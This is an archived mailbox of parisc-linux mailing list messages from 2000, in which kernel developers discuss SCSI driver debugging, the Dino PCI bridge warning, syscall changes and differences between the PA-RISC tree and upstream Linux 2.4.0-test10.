cmV2aXNpb24gOC4wNwpkdW1wX3N0aV9yb206IDUwMAogZ3JhcGhpY3MgaWQgMmQwOGMwYTcwOWEw
MjU4NwpkdW1wX3N0aV9yb206IDUxMAogZm9udCBzdGFydCAwMDAxODNjMwpkdW1wX3N0aV9yb206
IDUxMgogcmVnaW9uIGxpc3QgMDAwMTgzNjMKZHVtcF9zdGlfcm9tOiA1MTQKIGluaXRfZ3JhcGgg
MDAwMDFhNjMKZHVtcF9zdGlfcm9tOiA1MTYKIGFsdGVybmF0ZSBjb2RlIHR5cGUgMApkdW1wX3N0
aV9yb206IDUxOApuZXh0IGZvbnQgMDAwMDQwNDAKZjQwMDAwMDAgYgpmODAwMDAwMCBiClN3aXRj
aGluZyBmcm9tIFBEQyBjb25zb2xlCg==

--------------Boundary-00=_ABNZX5KGKOOFAA0B1BIM--


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: sym53c8xx-driver (was: Re: [parisc-linux] kernel merge)
Date: Tue, 14 Nov 2000 10:17:04 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20001114101704.Y32715@linuxcare.com>
References: <E13twjn-0004fw-00@noam.fc.hp.com> <00111323542900.00319@P100> <20001113232752.V32715@linuxcare.com> <00111401135802.00319@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619276 6098 80.91.229.3 (22 Nov 2014 01:21:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:16 +0000 (UTC)
Cc: bame@riverrock.org, parisc-linux@puffin.external.hp.com
To: Helge Deller <deller@gmx.de>
Original-X-From: rhirst@linuxcare.com  Tue Nov 14 03:17:26 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA22993
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 03:17:24 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CDABFB007; Tue, 14 Nov 2000 10:17:04 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <00111401135802.00319@P100>; from deller@gmx.de on Tue, Nov 14, 2000 at 01:13:58AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8403

Hi Helge,

On Tue, Nov 14, 2000 at 01:13:58AM +0100, Helge Deller wrote:
> On Tuesday 14 November 2000 00:27, Richard Hirst wrote:
> > Hi Helge,
> >   The problem I fixed related to the ncr53c8xx driver (which shares
> > code with sym53c8xx), and was to make 53c720 support work again.
> > sym53c8xx worked for me on my A180.  Please can you try booting
> > with
> > 
> > 	sym53c8xx=verb:7,debug:0xffff
> > 
> > and send me the output?
> > 
> > Thanks,
> >  Richard
> 
> 
> Hi Richard,
> 
> the output and the relevant part of .config is attached.
> 
> Greetings,
> 
> 	Helge

Thanks.  I agree it doesn't look like the driver is even seeing the
chip; I wonder if PCI support is broken...

> dino_bridge_init: IO_ADDR_EN hasn't been configured.
> kernel BUG at dino.c:646!

Does it usually say that on bootup?

Richard


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel merge
Date: Tue, 14 Nov 2000 10:29:36 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20001114102936.A2062@parcelfarce.linux.theplanet.co.uk>
References: <E13twjn-0004fw-00@noam.fc.hp.com> <m13uLiv-001Vp3C@chalet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619276 6101 80.91.229.3 (22 Nov 2014 01:21:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:16 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: bame@riverrock.org
Original-X-From: willy@www.linux.org.uk  Tue Nov 14 03:27:50 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA23468
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 03:27:47 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13vdLM-0000fQ-00; Tue, 14 Nov 2000 10:29:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <m13uLiv-001Vp3C@chalet>; from bame@riverrock.org on Fri, Nov 10, 2000 at 02:28:33PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8404

On Fri, Nov 10, 2000 at 02:28:33PM -0700, bame@riverrock.org wrote:
> fcntl.h acquired a 'struct fcntl64' used with 64-bit offsets, implementing
> fcntl(fd, F_S/GETLK[W]64, ...).  Several other locking-related #defines added.
> 
> We'll need to add the getdents64() and fcntl64() syscall glue. (TODO!!!)

actually, we don't.  Linux/PA-RISC has sufficiently wide data types
already so we don't have the grot required in other ports to support
the appropriate wide data types.

> looks like maybe the get/put_user_ret() functions in asm/uaccess.h are
> obsolete?  (TODO)

yes, they are.  exterminate!  exterminate!

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: sym53c8xx-driver (was: Re: [parisc-linux] kernel merge)
Date: Tue, 14 Nov 2000 14:11:42 +0100 (MET)
Lines: 52
Approved: news@gmane.org
Message-ID: <28837.974207502@www22.gmx.net>
References: <20001114101704.Y32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619276 6104 80.91.229.3 (22 Nov 2014 01:21:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:16 +0000 (UTC)
Cc: bame@riverrock.org, parisc-linux@puffin.external.hp.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: deller@gmx.de  Tue Nov 14 06:10:15 2000
Original-Received: from www22.gmx.net (www22.gmx.net [213.165.64.72])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA27719
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 06:10:14 -0700
Original-Received: (qmail 28964 invoked by uid 0); 14 Nov 2000 13:11:42 -0000
Original-Cc: bame@riverrock.org, parisc-linux@puffin.external.hp.com
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0001045983@gmx.net
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Authenticated-IP: [194.39.131.40]
X-Flags: 0001
Xref: news.gmane.org gmane.linux.ports.parisc:8405

> Hi Helge,
> 
> On Tue, Nov 14, 2000 at 01:13:58AM +0100, Helge Deller wrote:
> > On Tuesday 14 November 2000 00:27, Richard Hirst wrote:
> > > Hi Helge,
> > >   The problem I fixed related to the ncr53c8xx driver (which shares
> > > code with sym53c8xx), and was to make 53c720 support work again.
> > > sym53c8xx worked for me on my A180.  Please can you try booting
> > > with
> > > 
> > > 	sym53c8xx=verb:7,debug:0xffff
> > > 
> > > and send me the output?
> > > 
> > > Thanks,
> > >  Richard
> > 
> > 
> > Hi Richard,
> > 
> > the output and the relevant part of .config is attached.
> > 
> > Greetings,
> > 
> > 	Helge
> 
> Thanks.  I agree it doesn't look like the driver is even seeing the
> chip; I wonder if PCI support is broken...
> 
> > dino_bridge_init: IO_ADDR_EN hasn't been configured.
> > kernel BUG at dino.c:646!
> 
> Does it usually say that on bootup?

Yep. 
Has always been there, but nevertheless the scsi-driver worked before.
FYI: The non-pci sim700-driver also didn't showed up before pb fixed it in
CVS with a few one-line-patches.

NB: Could maybe someone (ggg?) explain me the kernel-bug mentioned above ?

> 
> Richard
> 

Greetings,

	Helge

-- 
Sent through GMX FreeMail - http://www.gmx.net


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dino maintainer?
Date: Tue, 14 Nov 2000 08:10:42 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <200011141610.IAA11646@milano.cup.hp.com>
References: <20001114101704.Y32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619277 6106 80.91.229.3 (22 Nov 2014 01:21:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:17 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@puffin.external.hp.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Tue Nov 14 09:10:01 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA28784
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 09:10:01 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel1.hp.com (Postfix) with ESMTP id 19B1B2C7
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 09:12:20 -0700 (MST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA11646;
	Tue, 14 Nov 2000 08:10:48 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 14 Nov 2000 10:17:04 PST."
             <20001114101704.Y32715@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8406


Anyone interested in maintaining Dino?

I don't have time for it and all the docs are on the web.
One of the "TODO" things is to convert dino.c to use struct
pci_hba the same way lba_pci.c does....

Richard Hirst wrote:
...
> Thanks.  I agree it doesn't look like the driver is even seeing the
> chip; I wonder if PCI support is broken...
> 
> > dino_bridge_init: IO_ADDR_EN hasn't been configured.
> > kernel BUG at dino.c:646!
> 
> Does it usually say that on bootup?

per Helge's request:

The bug is normal for card-mode Dino - not for Built-in Dino.
I think Helge has the GSC 100BT card which is a card-mode Dino on-board
with one (or two) Tulip(s) behind it.

The warning is a reminder one can NOT use MMIO accesses to those
PCI devices and *only* I/O Port space (eg inb/outb).

If someone wants to fix the warning so it's quiet for card-mode
devices...see is_card_dino(d) in dino_driver_callback() for an
example.

FYI - card-mode dino was used for several different networking
interfaces but not SCSI interfaces.

hope this helps,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS linux Vs. -test10
Date: Tue, 14 Nov 2000 09:35:01 -0700
Lines: 80
Approved: news@gmane.org
Message-ID: <E13vj2z-00035b-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619277 6117 80.91.229.3 (22 Nov 2014 01:21:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:17 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: bame@noam.fc.hp.com  Tue Nov 14 09:32:59 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA29222
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 09:32:59 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id JAA04972
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 09:35:01 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13vj2z-00035b-00
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 09:35:01 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8407


I've attached an overview of differences between our CVS linux sources
following the -test10 merge and the upstream -test10 sources.  This
document is also at http://puffin.external.hp.com/~bame/diff.html
The raw 'diff' output (now a bit out of date) is at
http://puffin.external.hp.com/~bame/diff.out

If anyone gets bored, this list is full of small (and not so small)
tasks which range from very simple (drivers/block/rd.c) to fairly
complex (scripts/*).

	-P


                        palinux Vs. linux 2.4.0-test10
                                       
   Here's a brief summary of the differences in common code between
   palinux (tag: LINUS_240_TEST10_MERGED) and the upstream -test10
   sources. The full diff output is in diff.out. NOTE this does not
   include machine-depend differences
     * Minor changes in several locations to support GSC
     * Minor top-level Makefile hacks, though the CFLAGS one is quite
       important.
     * Lots of RCS $Revision$ differences in ACPI (a different 'cvs
       import' would've eliminated these differences).
     * drivers/block/rd.c: obsolete debug code for parisc64. Changed a
       constant from 0xffffffffL to 0xffffffffUL because of a parisc64
       gcc bug initializing longs. The repaired code is probably "more
       correct" anyway.
     * drivers/char/Config.in: changes to support LASI, parisc real-time
       clock (CONFIG_GENRTC)
     * drivers/char/Makefile: Config-related changes to support HP
       keyboards and RTC
     * drivers/char/console.c: looks like dead or dying experimental
       parisc code -- probably should be removed. Also some
       parisc-specific comments and format changes which should
       disappear.
     * drivers/char/serial.c: support for GSC and A500 serial
     * drivers/net/Makefile,Space.c: mostly LASI LAN support
     * drivers/net/eepro100.c: no clue about this one
     * drivers/net/tulip/interrupt.c: workaround for a B180+busy-lan boot
       problem -- probably should be sent upstream.
     * drivers/net/tulip/tulip_core.c: required #ifdef for hppa, also
       printk() changes which appear valid
     * drivers/parport/Makefile: GSC
     * drivers/parport/parport_gsc.c: New file for palinux -- GSC
       parallel ports -- required
     * drivers/pci/pci.c: eh? Grant?
     * drivers/pci/setup-bus.c: function definition tweek -- Grant?
     * drivers/scsi: Lots of changes here -- rhirst? See for yourself.
       Basics: support LASI and Zalon scsi, changes to 53c8xx drivers,
       rename sim7x0 to sim710
     * drivers/sound: support for HP "Harmony" sound
     * drivers/video: STI and HP FB video drivers (iodccon is probably
       worthless)
     * fs: add support for SOM executables
     * fs/binfmt_elf.c,exec.c: changes for stack-grows-up?
     * fs/nfs/read.c: probably unnecessary hack for broken parisc64 gcc
     * fs/proc/array.c: ?? something with signals ??
     * fs/stat.c: added __hppa__ to several #ifdefs
     * include/linux/binfmts.h,fs.h,kernel.h,tty.h,udf_fs_sb.h:
       unnecessary differences?
     * include/linux/init.h: we use different section names -- why????,
       probably some unnecessary other differences too
     * include/linux/mm.h: VM_STACK_FLAGS difference -- jsm?
     * include/linux/wait.h: parisc debugging -- should be removed
     * init/main.c: KWDB and GSC support plus a bunch of stuff which
       should probably go away.
     * kernel/Makefile,dma.c,fork.c,printk.c: eh?
     * kernel/module.c: possible parisc-needed changes
     * kernel/signal.c: unknown signal-related differences
     * lib/inflate.c: changed some constants to work around parisc64 gcc
       bug
     * mm/mprotect.c: ?
     * scripts/*: MANY differences here. Looks like a combination of
       things we hacked to fix configuration problems plus MAYBE not
       updating these files from new Linux versions in the past. 'make
       menuconfig' is significantly different from upstream. Even the
       mkdep.c program is different.


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@mozilla.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] justin
Date: Tue, 20 Apr 1999 21:10:45 -0400
Organization: mozilla.org diplomatic corps
Lines: 10
Approved: news@gmane.org
Message-ID: <371D2595.3EB4D7D1@mozilla.org>
References: <199904210059.SAA10365@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619277 6124 80.91.229.3 (22 Nov 2014 01:21:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: shaver@mozilla.org  Tue Apr 20 21:12:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id VAA12639
	for <parisc-linux@sod.res.cmu.edu>; Tue, 20 Apr 1999 21:12:01 -0400
Original-Received: (qmail 29878 invoked by uid 15267); 21 Apr 1999 01:10:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29870 invoked from network); 21 Apr 1999 01:10:23 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 21 Apr 1999 01:10:23 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id SAA12864
	for <parisc-linux@thepuffingroup.com>; Tue, 20 Apr 1999 18:11:09 -0700 (PDT)
Original-Received: from mozilla.org ([205.217.243.67]) by tintin.mcom.com
          (Netscape Messaging Server 4.03) with ESMTP id FAILZ200.O83 for
          <parisc-linux@thepuffingroup.com>; Tue, 20 Apr 1999 18:11:26 -0700 
Original-Sender: shaver@netscape.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.3-5 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8408

justin@puffin.external.hp.com wrote:
> puffin, is binutils-x-hppa ok?

binutils-x-parisc, no?

Mike

-- 
241391.11 234198.98


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel merge
Date: Tue, 14 Nov 2000 10:02:06 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <E13vjTC-000381-00@noam.fc.hp.com>
References: <E13twjn-0004fw-00@noam.fc.hp.com> <m13uLiv-001Vp3C@chalet>  <20001114102936.A2062@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619278 6128 80.91.229.3 (22 Nov 2014 01:21:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:18 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: bame@noam.fc.hp.com  Tue Nov 14 10:00:04 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA30586
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 10:00:04 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id KAA07209;
	Tue, 14 Nov 2000 10:02:06 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13vjTC-000381-00; Tue, 14 Nov 2000 10:02:06 -0700
In-Reply-To: Your message of "Tue, 14 Nov 2000 10:29:36 GMT."
             <20001114102936.A2062@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8409

= On Fri, Nov 10, 2000 at 02:28:33PM -0700, bame@riverrock.org wrote:
= > fcntl.h acquired a 'struct fcntl64' used with 64-bit offsets, implementing
= > fcntl(fd, F_S/GETLK[W]64, ...).  Several other locking-related #defines add
ed.
= > 
= > We'll need to add the getdents64() and fcntl64() syscall glue. (TODO!!!)
= 
= actually, we don't.  Linux/PA-RISC has sufficiently wide data types
= already so we don't have the grot required in other ports to support
= the appropriate wide data types.

Ok that sounds great but I need a clue how to see it.  struct flock
contains an off_t which is 32 bits on narrow (wide too at the moment,
but that will probably change).  Also, struct dirent contains
a 32-bit inode and a __kernel_off_t offset (d_off), which is also
32 bits narrow.  I did see the ... in our fcntl() syscall definition
so I'll go check glibc to see what's happening there.

I wouldn't be so picky except that I need to write
the 32/64 syscall translators for these soon!  Thanks!

	-P


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel merge
Date: Tue, 14 Nov 2000 10:14:51 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <E13vjfX-00046k-00@noam.fc.hp.com>
References: <E13twjn-0004fw-00@noam.fc.hp.com> <m13uLiv-001Vp3C@chalet>  <20001114102936.A2062@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619278 6132 80.91.229.3 (22 Nov 2014 01:21:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:18 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: bame@noam.fc.hp.com  Tue Nov 14 10:12:49 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA31172
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 10:12:49 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id KAA08178;
	Tue, 14 Nov 2000 10:14:51 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13vjfX-00046k-00; Tue, 14 Nov 2000 10:14:51 -0700
In-Reply-To: Your message of "Tue, 14 Nov 2000 10:29:36 GMT."
             <20001114102936.A2062@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8410

= On Fri, Nov 10, 2000 at 02:28:33PM -0700, bame@riverrock.org wrote:
= > fcntl.h acquired a 'struct fcntl64' used with 64-bit offsets, implementing
= > fcntl(fd, F_S/GETLK[W]64, ...).  Several other locking-related #defines add
ed.
= > 
= > We'll need to add the getdents64() and fcntl64() syscall glue. (TODO!!!)
= 
= actually, we don't.  Linux/PA-RISC has sufficiently wide data types
= already so we don't have the grot required in other ports to support
= the appropriate wide data types.

Oh, and won't we have to support these syscalls anyway, because user programs
will make them?  I suppose we could #define them in libc headers.

= > looks like maybe the get/put_user_ret() functions in asm/uaccess.h are
= > obsolete?  (TODO)
= 
= yes, they are.  exterminate!  exterminate!

Done


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735/755 and Kernel test10..
Date: Tue, 14 Nov 2000 13:40:24 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20001114134023.B33756@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619278 6135 80.91.229.3 (22 Nov 2014 01:21:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Tue Nov 14 11:39:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA32036
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 11:39:02 -0700
Original-Received: (qmail 8282 invoked by uid 15267); 14 Nov 2000 18:40:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8248 invoked from network); 14 Nov 2000 18:40:55 -0000
Original-Received: from erouter0.it-datacntr.louisville.edu (136.165.1.36)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 18:40:55 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter0.it-datacntr.louisville.edu (Postfix) with ESMTP id BB66424F0C
	for <parisc-linux@thepuffingroup.com>; Tue, 14 Nov 2000 13:40:50 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id 2FAF0BA2; Tue, 14 Nov 2000 13:40:24 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:8411

Hey,

I've been working on the 735 and 755 that I has access to and so far
the systems booted the test6 kernel, but scrambled the console as soon
as init was run.  So, I figured I'd try the new test10 kernel that you
have added.  Both system boot, and then stop at this line:

branching to kernel entry point 0x00100000
Can't select default wide mode, PDC_PSW call does not work

What does the above actually mean?  How can I remove the PDC_PSW call
from the kernel so it can boot? I have plans to test this new kernel
image on a 715 later today. 

Thanks,
-- 
Phillip Beal
Electrical and Computer Engineering
S+LUG Vice-President


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/755 and Kernel test10..
Date: Tue, 14 Nov 2000 10:51:26 -0800
Lines: 39
Approved: news@gmane.org
Message-ID: <200011141851.KAA11966@milano.cup.hp.com>
References: <20001114134023.B33756@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619279 6138 80.91.229.3 (22 Nov 2014 01:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Phillip D. Beal" <pdbeal@louisville.edu>
Original-X-From: grundler@cup.hp.com  Tue Nov 14 11:49:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA32466
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 11:49:31 -0700
Original-Received: (qmail 23724 invoked by uid 15267); 14 Nov 2000 18:51:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23696 invoked from network); 14 Nov 2000 18:51:30 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 18:51:30 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 645B223C; Tue, 14 Nov 2000 10:51:26 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA11966;
	Tue, 14 Nov 2000 10:51:27 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 14 Nov 2000 13:40:24 PST."
             <20001114134023.B33756@athena.louisville.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8412

"Phillip D. Beal" wrote:
> Hey,
> 
> I've been working on the 735 and 755 that I has access to and so far
> the systems booted the test6 kernel, but scrambled the console as soon
> as init was run.  So, I figured I'd try the new test10 kernel that you
> have added.  Both system boot, and then stop at this line:
> 
> branching to kernel entry point 0x00100000
> Can't select default wide mode, PDC_PSW call does not work

Did you build this kernel yourself?

If so, it sounds like you built a 64-bit kernel since that's the default.
You need to change the ARCH line in the linux/Makefile to read "parisc"
instead of "parisc64".

grant

> 
> What does the above actually mean?  How can I remove the PDC_PSW call
> from the kernel so it can boot? I have plans to test this new kernel
> image on a 715 later today. 
> 
> Thanks,
> -- 
> Phillip Beal
> Electrical and Computer Engineering
> S+LUG Vice-President
> 
